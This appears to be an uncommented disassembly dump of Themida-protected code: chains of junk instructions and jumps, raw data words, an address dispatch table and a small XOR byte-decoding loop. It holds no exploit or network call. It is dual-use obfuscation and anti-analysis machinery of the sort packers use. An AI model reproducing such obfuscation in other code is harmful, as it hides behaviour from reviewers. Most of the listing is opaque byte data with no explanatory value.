Themida_:0054C3A6j shl dl, 7 jmp loc_545BCC ; --------------------------------------------------------------------------- db 80h, 0F1h, 0AAh dd 0FF59C828h, 0E95A2434h, 0FFFFDBE8h, 807AB151h, 0C1FE94E1h dd 8088E180h, 0C48008F1h, 80CC0004h, 285904ECh, 0E95558E3h dd 0FFFF56A7h, 0E924048Bh, 0FFFFDD36h, 24048B66h, 129F68h dd 0C0DAE900h, 5401FFFFh, 8B5A0424h, 2D68243Ch, 8900007Ch dd 0E0892404h, 405h, 6ED1E900h, 0BE56FFFFh, 4, 0FF6159E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F31D: ; CODE XREF: Themida_:00545806j add esp, 4 shr eax, 12h xor eax, ecx push eax jmp loc_54BEDE ; --------------------------------------------------------------------------- loc_54F32B: ; CODE XREF: Themida_:0054C10Dj mov bh, 0BDh sub bh, 1 jmp loc_54F1F9 ; --------------------------------------------------------------------------- db 56h, 68h, 2 dd 5E000000h, 335EF301h, 1C31241Ch, 241C3324h, 6624248Bh dd 9C2404FFh, 0FF983EE9h, 0E78957FFh, 4C781h, 0EF810000h dd 4, 6CE068h, 243C8900h, 0FFCFCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F371: ; CODE XREF: Themida_:0054A9A2j sub esp, 4 mov [esp], esi mov eax, [esp] push 937h mov [esp], ebx push esp pop ebx sub esp, 4 jmp loc_54615D ; --------------------------------------------------------------------------- loc_54F392: ; CODE XREF: Themida_:0054C502j pop dword ptr [esp] pop esp jmp loc_54D679 ; --------------------------------------------------------------------------- db 52h dd 0D76003BAh, 1C28372h, 0FFFFEA81h, 0EAC1FFFFh, 0CAF28103h dd 816E7FF6h, 665AB1EEh, 0E9D60144h, 0FFFF5A52h, 31240433h dd 4332404h, 24248B24h, 0FFC4D0E9h, 241C31FFh, 8B241C33h dd 9662424h, 0E99C2404h, 0FFFF544Fh, 99EA8159h, 176274Eh dd 99C281F2h, 5E76274Eh, 0E902C283h, 0FFFFCB2Bh ; --------------------------------------------------------------------------- loc_54F3FC: ; CODE XREF: Themida_:00544B10j inc edx sub edx, 0CEDCF9C8h add ebp, edx jmp loc_5476F4 ; --------------------------------------------------------------------------- dd offset dword_457444+2F924h dw 0E900h dd 0FFFFA363h ; --------------------------------------------------------------------------- loc_54F414: ; CODE XREF: Themida_:0054E4CCj add dword ptr [esp], 1 mov eax, [esp] add esp, 4 shr eax, 2 push ebp mov ebp, 3A065089h xor eax, ebp pop ebp push eax add dword ptr [esp], 3DCA171Fh jmp loc_548E1B ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 4BDCE95Ch, 0BF57FFFFh, 2DEB7F88h, 0E908EFC1h, 0FFFF7448h dd 8B5AD601h, 0C481243Ch, 4, 68h, 241C8B00h, 0C386E950h dd 8951FFFFh, 0B093E9E1h, 2489FFFFh, 24048124h, 4, 8124148Bh dd 4C4h, 0C8D7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F48E: ; CODE XREF: Themida_:0054B35Aj pop edx jmp loc_5470F3 ; --------------------------------------------------------------------------- dd 0EC8355ADh, 240C8904h, 0AA43FFB9h, 0BCC98121h, 8145E64Eh dd 441609C1h, 0A3F7E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F4B2: ; CODE XREF: Themida_:00546FB2j xor esi, edx jmp loc_54DD5A ; --------------------------------------------------------------------------- loc_54F4B9: ; CODE XREF: Themida_:00547E7Ej mov ebp, 1 add ebx, ebp pop ebp add ebx, 4D1BB2B7h mov edx, ebx mov ebx, [esp] push edx jmp loc_5461C8 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 8158C601h, 0AE644FC6h, 4EC8303h, 0B8240489h dd 96C47D9h, 6C685255h, 5A3A924Eh, 7E2C14Ah, 315FC281h dd 0D589BEBEh, 3A1E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F506: ; CODE XREF: Themida_:0054F592j mov ch, 0D5h add ch, 1 add ch, 1 dec ch sub ch, 0B3h sub dh, ch pop ecx xor dh, 19h add bl, dh jmp loc_54AED5 ; --------------------------------------------------------------------------- dd 24148B66h, 48B5450h, 4C48324h, 46851h, 1590000h, 525759C8h dd 0FFF414E9h, 0E38953FFh, 8904EC83h, 1868240Ch, 8900007Dh dd 62682404h, 58276F5Dh, 46BFBF57h, 0F8016444h, 0FFE905E9h dd 240489FFh, 0FFCEA6E9h, 9DF281FFh, 2160BB72h, 0A23E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F576: ; CODE XREF: Themida_:0054E042j add ecx, edx sub ecx, 32F473F6h jmp loc_548D43 ; --------------------------------------------------------------------------- db 21h dd 0F7E95AD5h, 56FFFFDDh, 0FF6FCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F591: ; CODE XREF: Themida_:00544A6Ej push ecx jmp loc_54F506 ; --------------------------------------------------------------------------- db 0ADh dd 0FFD20CE9h, 0E08950FFh, 8FB95156h, 0E91E5B0Fh, 0FFFF5AAEh dd 9D791A2Dh, 5F0017Eh, 7E9D791Ah, 0FFD810E9h, 3F281FFh dd 31977EDAh, 24148BD0h, 0FFD87CE9h, 0E95F54FFh, 0FFFFDBDEh dd 0A0753768h, 24348B11h, 0E904C483h, 0FFFF61C1h, 4C5815Dh dd 81000000h, 4EDh, 242C3300h, 33242C31h, 895C242Ch, 0C2882414h dd 0FF82C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F605: ; CODE XREF: Themida_:0054A73Cj shl ch, 4 shl ch, 6 not ch add ch, 54h push ax mov ah, 0CCh add ch, ah pop ax jmp loc_54D779 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Bh, 0C281C229h, 1D157B2Dh, 0FF49F1E9h, 24048FFFh dd 5DEB015Ch, 3EEFEB81h, 82E90348h, 81FFFF54h, 0D24C00EEh dd 0BEE95D11h, 54000005h, 0E924048Fh, 0FFFF4A6Eh ; --------------------------------------------------------------------------- loc_54F658: ; CODE XREF: Themida_:0054F997j shr ecx, 0Ah push ecx sub esp, 4 jmp loc_54F9C9 ; --------------------------------------------------------------------------- loc_54F664: ; CODE XREF: Themida_:00548DE6j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebp push ebx push edi jmp loc_5467F1 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 0FFFF64B9h, 243C895Ch, 0BB53E789h, 3CE57149h dd 165CBF57h, 4DE96BCEh, 0B9FFFFA1h, 4, 0C8BCF01h, 4C48124h dd 81000000h, 4C7h, 243C8700h, 0BD555Ch, 0E90D0936h, 0FFFF4CC5h dd 4FEBBF57h, 4F472EA4h, 506DC781h, 0C78131B1h, 0F5BF786Eh dd 815FFB01h, 0FC7FD2C3h, 51926866h, 5AE90000h, 5CFFFFEFh dd 22C468h, 24348900h, 49E95E54h, 68FFFF4Bh, 7921h, 0E9240C89h dd 0FFFF8A53h, 5C240487h, 0E9FDCA80h, 0FFFFB51Bh, 5704C483h dd 0FB89F789h, 0FF5C6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F729: ; CODE XREF: Themida_:0054B102j push 1FB2h mov [esp], ebx mov bl, 40h sub al, bl jmp loc_5444DA ; --------------------------------------------------------------------------- loc_54F73A: ; CODE XREF: Themida_:00545566j jmp loc_544022 ; --------------------------------------------------------------------------- db 5Ah dd 8324348Bh, 0C68104C4h, 4, 5604C683h, 0FFB4A1E9h, 0E9432CFFh dd 0FFFF6DA5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_547021 ; --------------------------------------------------------------------------- dw 0BB53h dd 3ADD0726h, 0E95BDF31h, 0FFFF9CBAh, 0E28002B2h, 54EA80A9h dd 0CA80D2F6h, 58F9E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F78A: ; CODE XREF: Themida_:00548D05j pop eax add esp, 4 add esp, 4 push ecx mov ecx, edx mov eax, ecx pop ecx jmp loc_549067 ; --------------------------------------------------------------------------- db 5Ah dd 0BA525155h, 624A3627h, 0DAF7D2F7h, 7D31CA81h, 0E2813033h dd 705D79B7h, 792DEA81h, 0D1897059h, 0CE89565Ah, 0FFF301E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7C9: ; CODE XREF: Themida_:0054AEA9j xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_547B5B push 3D0Dh mov [esp], ebx push 7D36h jmp loc_54B6BF ; --------------------------------------------------------------------------- dd 5124048Bh, 0FFD812E9h, 81E589FFh, 4C5h, 4C58100h, 87000000h dd 0E95C242Ch, 0FFFF4812h, 4C181h, 0E9830000h, 76EAE904h dd 8358FFFFh, 0E902C1h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F827: ; CODE XREF: Themida_:00547B72j sub ebp, 6F3F6181h jmp loc_5497C4 ; --------------------------------------------------------------------------- loc_54F832: ; CODE XREF: Themida_:0054D405j mov edi, 4 sub ebx, 3B28615Dh add ebx, 135717F7h add ebx, edi sub ebx, 135717F7h push edi mov edi, 3B28615Dh add ebx, edi jmp loc_54DCEF ; --------------------------------------------------------------------------- dd 6950E952h, 0BB53FFFFh, 2, 875BD801h, 0E95C2404h, 0FFFF545Bh dd 8B24048Fh, 0A7E92424h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F87B: ; CODE XREF: Themida_:0054D5A5j mov edx, 4 add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push esi jmp loc_54AF6F ; --------------------------------------------------------------------------- dd 0C5FE5966h, 6608E5C0h, 0F3B55153h, 86E9EF88h, 29FFFF4Bh dd 48405DE8h, 0BF657A2Dh, 7C8FE94Eh, 4BDFFFFh, 81000000h dd 0B104246Ch, 0E961777Ah, 0FFFFCB32h, 0B33842C7h, 0F73CAE0Ah dd 89E9385Ah db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8D7: ; CODE XREF: Themida_:0054D1ADj sub ebp, ecx mov ecx, ebp pop ebp push esi jmp loc_54AEE6 ; --------------------------------------------------------------------------- dw 0A72Dh dd 0E9413B6Ch, 0FFFFAC57h, 4BE56h, 0F5010000h, 1DF3685Eh dd 2C890000h, 0F5EAE924h, 0F581FFFFh, 53ECD23Ah, 6CE9EA01h dd 48FFFF83h, 0FFE800E9h, 0DE315FFFh, 0E9F0295Bh, 0FFFF62F0h dd 9D6FE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F926: ; CODE XREF: Themida_:0054E0CAj mov ebp, 521862C9h push ecx jmp loc_5470CD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFA8C1E9h, 4C483FFh, 0FF5CF5E9h, 809CB2FFh, 9CE9EBC2h dd 21FFFF64h, 241C8BD9h, 5604C483h, 0AB73E7BEh, 46E68145h dd 8129A777h, 0E064E7C6h, 2EEC110h, 44C68146h, 2144ED5Eh dd 53495EF1h, 0E300EBBh, 5BD92116h, 687FE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F982: ; CODE XREF: Themida_:0054D7AEj shl edx, 8 xor edx, 79389D01h sub edi, edx pop edx add edi, 0C394F1F2h and ecx, edi pop edi jmp loc_54F658 ; --------------------------------------------------------------------------- dd 8304C483h, 0C1E904C4h, 0B9FFFF9Bh, 17C14EBCh, 7283F181h dd 0CB291DEAh, 5BDD0159h, 13ECBF57h, 0CF871529h, 0CF87D1F7h dd 0FFA98DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F9C9: ; CODE XREF: Themida_:0054F65Fj mov [esp], ebx jmp loc_547592 ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 5C241C33h, 89241489h, 4C281E2h, 51000000h, 4B9h, 59CA0100h dd 0FF726BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F9F1: ; CODE XREF: Themida_:00546658j push edx push eax jmp loc_547F3A ; --------------------------------------------------------------------------- dd 690868h, 24048900h, 7E1BE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA06: ; CODE XREF: Themida_:0054FA85j mov edi, 125F22B1h add esi, edi pop edi jmp loc_54958B ; --------------------------------------------------------------------------- loc_54FA13: ; CODE XREF: Themida_:0054E55Dj mov edi, [esp] add esp, 4 push eax push ecx pop eax jmp loc_545881 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 0B9F0E900h, 0E2C1FFFFh, 0E3E95306h dd 59FFFFE8h, 4C6815Eh, 55000000h, 4BDh, 6840E900h, 0B850FFFFh dd 265913F8h, 14D5BA52h, 8CE9326Dh db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA5F: ; CODE XREF: Themida_:0054A221j xchg esi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push edi push ebp mov ebp, 76F00ABAh mov edi, ebp pop ebp jmp loc_54C7C2 ; --------------------------------------------------------------------------- db 89h dd 3FBD242Ch, 0E936926Eh, 0FFFF7FA8h ; --------------------------------------------------------------------------- loc_54FA84: ; CODE XREF: Themida_:00546A7Bj push edi jmp loc_54FA06 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 2414895Ch, 0EB4A05BAh, 14F75243h, 34E95A24h dd 5AFFFF9Ch, 4EC81h, 0C0E90000h, 55FFFF76h, 2AA4BD66h dd 2E5C166h, 45664D66h, 69ED8166h, 6A73E968h, 0C581FFFFh dd 4, 3302C583h, 2C31242Ch, 242C3324h, 5324248Bh, 5051D788h dd 8852FC88h, 8BF588E6h, 0C4812414h, 4, 8124048Bh, 4C4h dd 876C8800h, 1C8B5901h, 43E95624h, 52FFFF99h, 0FF48C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FB0D: ; CODE XREF: Themida_:00544689j mov edi, 15202CCh sub ecx, edi pop edi mov edx, ecx jmp loc_54C9EC ; --------------------------------------------------------------------------- loc_54FB1C: ; CODE XREF: Themida_:0054ED68j sub dword ptr [esp+8], 2A68748Fh add [esp+8], edi add dword ptr [esp+8], 2A68748Fh pop edi jmp loc_54E96A ; --------------------------------------------------------------------------- loc_54FB36: ; CODE XREF: Themida_:0054D196j sub ebp, 4 xor ebp, [esp] jmp loc_5496E3 ; --------------------------------------------------------------------------- loc_54FB44: ; CODE XREF: Themida_:00545A3Cj pop eax xchg ecx, [esp] pop esp mov [esp], eax push 66D7h mov [esp], esp jmp loc_54F03A ; --------------------------------------------------------------------------- loc_54FB59: ; CODE XREF: Themida_:005445EDj xchg esi, [esp] mov esp, [esp] push ecx jmp loc_548141 ; --------------------------------------------------------------------------- db 68h, 0C1h, 36h dd 4890000h, 2459B824h, 0C6013329h, 0EE815958h, 2, 9E44E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB82: ; CODE XREF: Themida_:0054AF86j sub edx, 3B6F592Ah jmp loc_544DBC ; --------------------------------------------------------------------------- loc_54FB8D: ; CODE XREF: Themida_:00544EFAj pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_54AEA4 ; --------------------------------------------------------------------------- loc_54FBB2: ; CODE XREF: Themida_:00550009j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 0FFE823E9h, 24048FFFh, 8924248Bh, 0A7E9240Ch, 81FFFF4Fh dd 4ECh, 24348900h, 0C681E689h, 4, 0FFEB31E9h, 443CE9FFh dd 768FFFFh, 8900005Ah, 0A2B82404h, 311316B3h, 58D4E9C2h dd 0FA01FFFFh, 4420E95Fh, 0F801FFFFh, 51243C8Bh, 0FFE89BE9h dd 0E9E953FFh, 81FFFFC5h, 5F0C46E5h, 90ED814Dh, 290062FCh dd 91E95DE8h, 87FFFF92h, 665C240Ch, 5524048Bh, 2434FF54h dd 9CA7E95Dh, 489FFFFh, 6349B824h, 0EA814471h, 56DB65EBh dd 0C281C229h, 56DB65EBh, 0E924048Bh, 0FFFFC972h, 4EC81h dd 0A7E90000h, 0B9FFFFAEh, 4, 0FF4426E9h, 24248BFFh, 9C243CD2h dd 0FF43A9E9h, 0C48358FFh, 8E2DE904h, 9BE9FFFFh, 80FFFF43h dd 0A3E9CBC2h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC8F: ; CODE XREF: Themida_:005446F5j mov ecx, [esp] add esp, 4 sub dword ptr [esp+4], 253E194Fh pop ecx pop ebp push edx mov edx, 3EC54E6Ah add ebp, edx pop edx push 5E07h mov [esp], ebp pop dword ptr [edi+20h] pop ebp jmp loc_547A49 ; --------------------------------------------------------------------------- dd 83243C8Bh, 3C8904ECh, 81E78924h, 4C7h, 4C78100h, 57000000h dd 42474FFh, 24048F5Fh, 15F1815Ch, 31397453h, 240C8BC8h dd 8104C483h, 483EEFC3h, 21686803h, 13E90000h, 81FFFFEEh dd 4C2h, 0E6F0E900h, 0ED81FFFFh, 0D06ADFh, 835DEA01h, 148702EAh dd 89665C24h, 0B966240Ch, 166298Dh, 0F5966CBh, 6866C0B7h dd 89661A32h, 0EFE92404h, 0FFFFFF42h, 56582434h, 5A5AE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD3E: ; CODE XREF: Themida_:0054EA35j and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax jmp loc_5458C5 ; --------------------------------------------------------------------------- db 1, 0F8h, 5Fh dd 5C240487h, 5D99E953h, 0EF01FFFFh, 0FFA862E9h, 241C89FFh dd 0E73C9BBBh, 9FF3811Eh, 531EE73Ch, 3C267FBBh, 5BDF013Fh dd 42CEEF81h, 0DF016532h, 42CEC781h, 1DE96532h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD8B: ; CODE XREF: Themida_:0054DA68j dec ebp push ebp jmp loc_549BDF ; --------------------------------------------------------------------------- dw 0C381h dd 2, 5C241C87h, 0FFB92FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FDA1: ; CODE XREF: Themida_:00545AC4j xor edx, 6E1674FCh dec edx add edx, 1 xor edx, 7C3C3F85h jmp loc_54E524 ; --------------------------------------------------------------------------- loc_54FDB6: ; CODE XREF: Themida_:0054B3F9j pop ebx mov edi, [esp] jmp loc_546566 ; --------------------------------------------------------------------------- db 52h dd 6DE985B2h, 83FFFF86h, 25E9FFC7h, 46FFFFEFh, 0E902E6C1h dd 0FFFF6B42h, 660EEB80h, 0C0B60F58h, 0E987048Fh, 0FFFF423Ah dd 0ED81FD01h, 57CE1283h, 81243C8Bh, 4C4h, 82E6800h, 6FE90000h dd 33FFFFCDh, 34312434h, 24343324h, 0DDD685Ch, 25E90000h dd 56FFFFB5h, 84389FBEh, 0A2E68149h, 466D0719h, 3B9FCE81h dd 0E6816E61h, 6BB36D50h, 0C9A7EE81h, 9E93D48h, 2DFFFFBAh dd 42E85E6Dh, 0E8D1D8F7h, 0FF722FE9h, 240487FFh, 3024248Bh dd 0E99C2404h, 0FFFF41CAh ; --------------------------------------------------------------------------- loc_54FE58: ; CODE XREF: Themida_:0054B1DDj push edx jmp loc_5495A2 ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 241C8BDDh, 0FFFAC4E9h, 7DEE81FFh, 0E9573225h dd 0FFFFE538h ; --------------------------------------------------------------------------- loc_54FE78: ; CODE XREF: Themida_:00548F10j mov esp, [esp] jmp loc_544F2C ; --------------------------------------------------------------------------- loc_54FE80: ; CODE XREF: Themida_:0054617Dj mov esp, [esp] pop esi not esi jmp loc_546210 ; --------------------------------------------------------------------------- loc_54FE8B: ; CODE XREF: Themida_:0054EE01j neg edi add edi, 2C8BE6E1h sub ebp, 37370C63h add ebp, edi add ebp, 37370C63h mov edi, [esp] push eax jmp loc_54A244 ; --------------------------------------------------------------------------- dw 835Eh dd 48904ECh, 8C18E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEB6: ; CODE XREF: Themida_:0054AB7Dj sub edx, 7D7D7FF3h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- db 66h, 68h, 0Bh dd 80CDE932h, 4BEFFFFh, 89000000h, 9371E9F1h, 8B66FFFFh dd 0EC812404h, 4, 54241489h, 3DAA685Ah, 34890000h, 4EC8324h dd 53240C89h, 64FB5BBh, 0DF95B952h, 0FBE9D854h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF1B: ; CODE XREF: Themida_:0054B916j push edi jmp loc_54EDF9 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 5D50E95Ch, 8158FFFFh, 6E1CD5F6h, 0D2E68120h, 0C1768903h dd 0EE8103EEh, 0B31CC109h, 63E9F729h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF47: ; CODE XREF: Themida_:00547F35j add eax, 3F230D1Ch jmp loc_549B41 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0Eh dd 81182855h, 46AEDC7h, 0EF814F05h, 276D8FBCh, 875FFA01h dd 815C2414h, 4ECh, 24048900h, 0BA52E089h, 59805B3Fh, 0FF7E81E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FF81: ; CODE XREF: Themida_:0054D067j pop edx shr ecx, 7 push ebx push edi mov edi, 3F177F38h not edi or edi, 7C817DA4h jmp loc_546AD4 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 21h dd 59FFFF69h, 295DEB29h, 0F673E9DAh, 0E181FFFFh, 5CEF12CFh dd 0FF8900E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FFB5: ; CODE XREF: Themida_:005459DDj pop ebp add ebx, edx pop edx jmp loc_54D88C ; --------------------------------------------------------------------------- dw 48Fh dd 813AE924h, 0F5CFFFFh, 8951C8B7h, 4C181E1h, 55000000h dd 4EC81h, 3C890000h, 5D77BF24h, 0E9471346h, 0FFFF51D6h dd 66B55166h, 0FF97C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FFF1: ; CODE XREF: Themida_:00548B33j mov ebx, 2FBD16EBh jmp loc_54A2DB ; --------------------------------------------------------------------------- loc_54FFFB: ; CODE XREF: Themida_:0054932Bj mov [esp], edx jmp loc_5467E2 ; --------------------------------------------------------------------------- loc_550003: ; CODE XREF: Themida_:0054B98Ej add esp, 4 jmp loc_54FBB2 ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404ABh, 0FF4009E9h db 0FFh ; --------------------------------------------------------------------------- loc_550019: ; CODE XREF: Themida_:00548EB3j xor edx, [esp] jmp loc_54D6AE ; --------------------------------------------------------------------------- db 1, 0E8h, 5Dh dd 0B733E950h, 0C701FFFFh, 0FF9E1FE9h, 243C89FFh, 2BD55h dd 0EF890000h, 5FFD015Dh, 2474FF55h, 48F5D04h, 24248B24h dd 9C2424D2h, 0FF3FCDE9h, 0C2015DFFh, 4DA3EA81h, 0BB53278Fh dd 3C151A2h, 0AAE9D3F7h, 54FFFF4Ah, 8124048Bh, 4C4h, 7FBB5300h dd 8133B05Dh, 656C8DC3h, 0BEC3E904h, 0C1FEFFFFh, 0E945B652h dd 0FFFF72EEh ; --------------------------------------------------------------------------- loc_550090: ; CODE XREF: Themida_:0054627Cj pop eax sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebp jmp loc_548CE4 ; --------------------------------------------------------------------------- db 29h, 0D6h, 0E9h dd 0FFFFCA53h ; --------------------------------------------------------------------------- loc_5500AC: ; CODE XREF: Themida_:00547115j sub ah, 0Ch dec ah neg ah jmp loc_54B279 ; --------------------------------------------------------------------------- dd 1957D9BBh, 81DBF74Dh, 86A531F3h, 5BDF2995h, 6D4AB951h dd 61E95C12h, 59FFFFD8h, 8B243C87h, 8B662424h, 0EC812404h dd 4, 83243C89h, 48904ECh, 5E08924h, 4, 0FFB318E9h, 48C0A4FFh dd 0FFA434FAh, 5A760EFFh, 5A1A0800h, 0CD08EB00h, 0FFE72EC2h dd 5A24E4FFh, 20700h, 200h, 100h, 200h, 48C0A400h, 0FAh dd 4 dup(0) dd 5599E300h, 551BDC00h, 550E4300h, 55093400h, 5521DC00h dd 55290400h, 55C04200h, 56384C00h, 55B0F000h, 55F49500h dd 5591E600h, 55F37F00h, 557E6E00h, 55DF9300h, 55249C00h dd 55725C00h, 552C0600h, 5648E900h, 563A7600h, 55946700h dd 5528CF00h, 55789A00h, 55DF0C00h, 55774700h, 562DA200h dd 5634D800h, 55332200h, 559EFE00h, 561BF400h, 5621B300h dd 55387F00h, 550B8900h, 55220000h, 557D1700h, 5513CF00h dd 55810E00h, 55780900h, 55CA5E00h, 5589ED00h, 55D34800h dd 5582EA00h, 5597AC00h, 5655C400h, 56430A00h, 5653A800h dd 5628CA00h, 55131900h, 558B7900h, 55E15700h, 5572D800h dd 55301A00h, 550C6A00h, 55D19D00h, 55994200h, 550D8000h dd 55278400h, 565CC700h, 55FEBD00h, 55CC8E00h, 56283C00h dd 55829700h, 55BB6200h, 55C9DA00h, 55C87500h, 556C7D00h dd 5529DE00h, 56334300h, 55476B00h, 553D9D00h, 5528E000h dd 5536EF00h, 55A53800h, 5557BF00h, 553C2100h, 55C06700h dd 56533600h, 5558D400h, 554EFF00h, 55491000h, 55AD5200h dd 562B8600h, 56126C00h, 555D7B00h, 55DEE200h, 56064A00h dd 55AB6500h, 550C5800h, 55177100h, 55B96800h, 5555B400h dd 5619F300h, 565ADB00h, 557CEC00h, 55BF7400h, 561AF600h dd 55C7A400h, 561B4F00h, 55D33900h, 564BCD00h, 55A70E00h dd 5559BD00h, 553B0A00h, 55257D00h, 55EEAD00h, 55AD0F00h dd 55F3D500h, 55801400h, 55A89A00h, 5574C300h, 5524B000h dd 550F3700h, 558F0B00h, 562B3400h, 55517C00h, 5505B400h dd 55435100h, 55FE3D00h, 55FA1C00h, 55A0D700h, 55326A00h dd 55924B00h, 55186F00h, 56095A00h, 562AE900h, 55644D00h dd 558F6C00h, 553C9400h, 5618D600h, 55314A00h, 561FE600h dd 55E64900h, 55238E00h, 5564AA00h, 55E3A400h, 560F5300h dd 55983D00h, 55F42300h, 55576B00h, 56147D00h, 55143D00h dd 562BB300h, 55A99300h, 55696800h, 55F1D400h, 56189600h dd 55F95D00h, 56564B00h, 55414100h, 55645F00h, 5533C500h dd 55F8E800h, 5537C900h, 5593D900h, 561CEE00h, 55E3F700h dd 55245500h, 5558F000h, 55271500h, 55256000h, 55486800h dd 55F14200h, 55DA4200h, 55522500h, 55A07700h, 55BD5100h dd 55F93000h, 56500D00h db 0 ; --------------------------------------------------------------------------- loc_5503D9: ; CODE XREF: Themida_:00596751j pusha pushf cld call $+5 pop edi sub edi, 60C433Dh mov eax, edi add edi, 60C4055h cmp eax, [edi+2Ch] jnz short loc_5503F7 jmp short loc_55040A ; --------------------------------------------------------------------------- loc_5503F7: ; CODE XREF: Themida_:005503F3j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550406 ; --------------------------------------------------------------------------- loc_550401: ; CODE XREF: Themida_:00550408j add [edi+ecx*4+40h], eax dec ecx loc_550406: ; CODE XREF: Themida_:005503FFj or ecx, ecx jnz short loc_550401 loc_55040A: ; CODE XREF: Themida_:005503F5j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_550417: ; CODE XREF: Themida_:0055041Ej xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_550417 loc_550420: ; CODE XREF: Themida_:0055063Bj ; Themida_:loc_5519E9j ... lodsb xor al, bl push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 0A16h mov [esp], ebx mov bh, 79h sub esp, 4 jmp loc_555CC8 ; --------------------------------------------------------------------------- db 0BAh dd 3E8A3225h, 1207DE9h, 4C48300h, 34FFF121h, 24685E24h dd 89000040h, 5E542434h, 39E95357h, 0B000004Eh, 80F7348Bh dd 0C128F1C1h, 90DDE9h, 37CE8100h, 0E9589958h, 134C5h dd 80D1E380h, 0BBE93BC3h db 4Eh, 1, 0 ; --------------------------------------------------------------------------- loc_550493: ; CODE XREF: Themida_:00555970j add ecx, 214172CEh pop edi push 4162h mov [esp], edi mov edi, 3AF76AB4h sub edi, 761258E3h add edi, 414A0742h add edi, 0F9D0E6F1h jmp loc_552668 ; --------------------------------------------------------------------------- dw 0F968h dd 0E9013B03h, 123E3h, 0DE4AC281h, 15E916EBh, 520000EFh dd 0E5550DBAh, 5BE2812Dh, 87611023h, 7A78E9F2h, 34890000h dd 4BE24h, 74010000h, 595E0424h, 4C181h, 0BF570000h, 14AA45AFh dd 4EC81h, 4890000h, 2516824h, 0C1583CC4h, 8F0D05E0h, 6877FD50h dd 0 dd 58240429h, 5207E8C1h, 102C5E9h, 48F5A00h, 24248B24h dd 8B24048Fh, 89662424h, 0E1E9240Ch, 53FFFFFEh, 32B7E9h dd 4C48100h, 83000000h, 0EDE904ECh db 48h, 1, 0 ; --------------------------------------------------------------------------- loc_550553: ; CODE XREF: Themida_:005602F2j pop esi inc esi sub esi, 37065E90h add esi, 0D1E5ECDDh add ebp, esi pop esi jmp loc_56212E ; --------------------------------------------------------------------------- loc_550569: ; CODE XREF: Themida_:00561737j push esp pop ebx push edi jmp loc_557A0C ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 2BB53h, 0DE010000h, 2434335Bh, 0EAFDE9h, 68C78100h dd 53467238h, 69D7FDBBh, 5BDF2902h, 0E95FFB01h, 14216h dd 7337F681h, 81465DB0h, 49564DEEh, 0F589552Fh, 0E95DE889h dd 0F23Ah, 24048B66h, 4EC8150h, 89000000h, 4812424h, 424h dd 2434FF00h db 58h ; 